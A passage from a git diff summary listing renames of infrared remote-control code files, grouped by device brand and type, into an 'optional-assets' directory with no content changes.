optional-assets}/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/ByDesign/LCD/71,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir | 0 .../_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/TV/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/CIS BOX/TV/164,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/TV/26,26.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/TV/84,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir | 0 .../_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir | 0 .../_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir | 0 .../_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir | 0 .../_CSV-IRDB_/Calypso/Control System/1,-1.ir | 0 .../_CSV-IRDB_/Calypso/Control System/17,-1.ir | 0 .../_CSV-IRDB_/Calypso/Control System/7,-1.ir | 0 .../_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir | 0 .../_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir | 0 .../_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir | 0 .../_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir | 0 .../_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir | 0 .../_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir | 0 .../_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir | 0 .../_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir | 0 .../_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir | 0 .../_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir | 0 .../_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir | 0 .../_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir | 0 .../_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir | 0 .../_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir | 0 .../_CSV-IRDB_/Canon/Unknown_canon/133,118.ir | 0 .../_CSV-IRDB_/Canon/Video Projector/129,6.ir | 0 .../_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/Amplifier/135,123.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/CD Player/135,123.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/CD Player/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/CD Player/42,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/CD Player/60,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/CD Player/68,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/CD Player/99,0.ir | 0 .../_CSV-IRDB_/Carver/Cassette Tape/130,111.ir | 0 .../_CSV-IRDB_/Carver/Cassette Tape/135,126.ir | 0 .../_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/Laser Disc/102,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir | 0 .../_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir | 0 .../_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir | 0 .../_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir | 0 .../_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir | 0 .../_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir | 0 .../_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir | 0 .../_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/Receiver/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/Receiver/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/Receiver/135,123.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/Receiver/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/Receiver/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/Receiver/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/Receiver/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/Tuner/135,123.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/Tuner/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/Tuner/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Carver/Tuner/20,-1.ir | 0 .../_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir | 0 .../_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir | 0 .../_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir | 0 .../_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir | 0 .../_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir | 0 .../_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir | 0 .../_CSV-IRDB_/Channel Master/Satellite/132,99.ir | 0 .../_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir | 0 .../_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir | 0 .../_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir | 0 .../_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir | 0 .../_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Cisco/DVR/35,64.ir | 0 .../_CSV-IRDB_/Citation/Surround Processor/132,66.ir | 0 .../_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/CD Player/134,97.ir | 0 .../_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir | 0 .../_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Coby/DVD Player/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Coby/TV/0,127.ir | 0 .../_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Comcast/Cable Box/62,16.ir | 0 .../_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir | 0 .../_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir | 0 .../_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir | 0 .../_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir | 0 .../_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir | 0 .../_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir | 0 .../_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir | 0 .../_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir | 0 .../_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Copland/CD Player/128,114.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Copland/CD Player/129,49.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir | 0 .../_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir | 0 .../_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir | 0 .../_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir | 0 .../_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir | 0 .../_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir | 0 .../_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir | 0 .../_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir | 0 .../_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir | 0 .../_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir | 0 .../_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir | 0 .../_CSV-IRDB_/Crestron/Music Server/14,-1.ir | 0 .../_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir | 0 .../_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir | 0 .../_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir | 0 .../_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir | 0 .../_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir | 0 .../_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir | 0 .../_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir | 0 .../_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir | 0 .../_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir | 0 .../_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir | 0 .../_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir | 0 .../_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/D-LINK/Media Center/8,230.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/D-LINK/Media Center/8,231.ir | 0 .../_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir | 0 .../_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir | 0 .../_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir | 0 .../_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir | 0 .../_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir | 0 .../_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DLO/HomeDock/238,135.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/DVDO/Scaler/0,45.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DVDO/Scaler/132,32.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DVDO/Video Processor/0,45.ir | 0 .../_CSV-IRDB_/DVDO/Video Processor/132,32.ir | 0 .../_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Da Lite/Screen/0,-1.ir | 0 .../_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/TV/20,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/TV/4,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/TV/6,6.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir | 0 .../_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir | 0 .../_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir | 0 .../_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir | 0 .../_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir | 0 .../_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir | 0 .../_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir | 0 .../_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir | 0 .../_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir | 0 .../_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir | 0 .../_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir | 0 .../_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir | 0 .../_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir | 0 .../_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/VCR/21,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir | 0 .../_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Dell/TV/0,28.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir | 0 .../_CSV-IRDB_/Dell/Video Projector/79,80.ir | 0 .../_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/AV Processor/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/AV Processor/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/AV Processor/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Amplifier/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Amplifier/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Amplifier/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Amplifier/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Amplifier/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/CD Player/168,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/CD Player/175,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/CD Player/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/CD Player/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/CD Player/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Denon/DAT/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/DVD Player/176,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/DVD Player/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/DVD Player/2,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/DVD Player/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/DVD Player/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/DVD Player/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Processor/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Processor/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Processor/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Processor/4,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Processor/4,3.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Processor/4,5.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/2,3.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/4,1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/4,2.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/4,3.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/4,5.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/4,7.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/6,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/7,4.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/7,5.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/7,6.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/7,7.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/7,8.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/80,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/96,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/97,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Tuner/12,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Tuner/2,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Unknown/176,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir | 0 .../_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir | 0 .../_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir | 0 .../_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir | 0 .../_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir | 0 .../_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir | 0 .../_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir | 0 .../_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir | 0 .../_CSV-IRDB_/Digital Projection/Projector/32,-1.ir | 0 .../_CSV-IRDB_/Digital Projection/Video Projector/32,-1.ir | 0 .../_CSV-IRDB_/Digital Projection/Video Scaler/58,-1.ir | 0 .../_CSV-IRDB_/Digital Stream/HDTV Tuner/4,2.ir | 0 .../_CSV-IRDB_/Digital Stream/Unknown_Stream/18,52.ir | 0 .../_CSV-IRDB_/DigitalView/HDTV Tuner/128,-1.ir | 0 .../_CSV-IRDB_/DirecTV/Basic Satellite/12,-1.ir | 0 .../_CSV-IRDB_/DirecTV/Basic Satellite/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DirecTV/DSS/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DirecTV/DVR/133,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir | 0 .../_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir | 0 .../_CSV-IRDB_/DirecTV/Receiver HDDVR/12,-1.ir | 0 .../_CSV-IRDB_/DirecTV/Receiver HDDVR/13,-1.ir | 0 .../_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir | 0 .../_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir | 0 .../_CSV-IRDB_/DirecTV/Receiver HDDVR/64,-1.ir | 0 .../_CSV-IRDB_/DirecTV/Receiver HDDVR/71,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir | 0 .../_CSV-IRDB_/DirecTV/Receiver SDDVR/12,-1.ir | 0 .../_CSV-IRDB_/DirecTV/Receiver SDDVR/133,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DirecTV/Satellite/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DirecTV/Satellite/133,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DirecTV/Satellite/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DirecTV/Unknown/12,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/DirecTV/Unknown/12,251.ir | 0 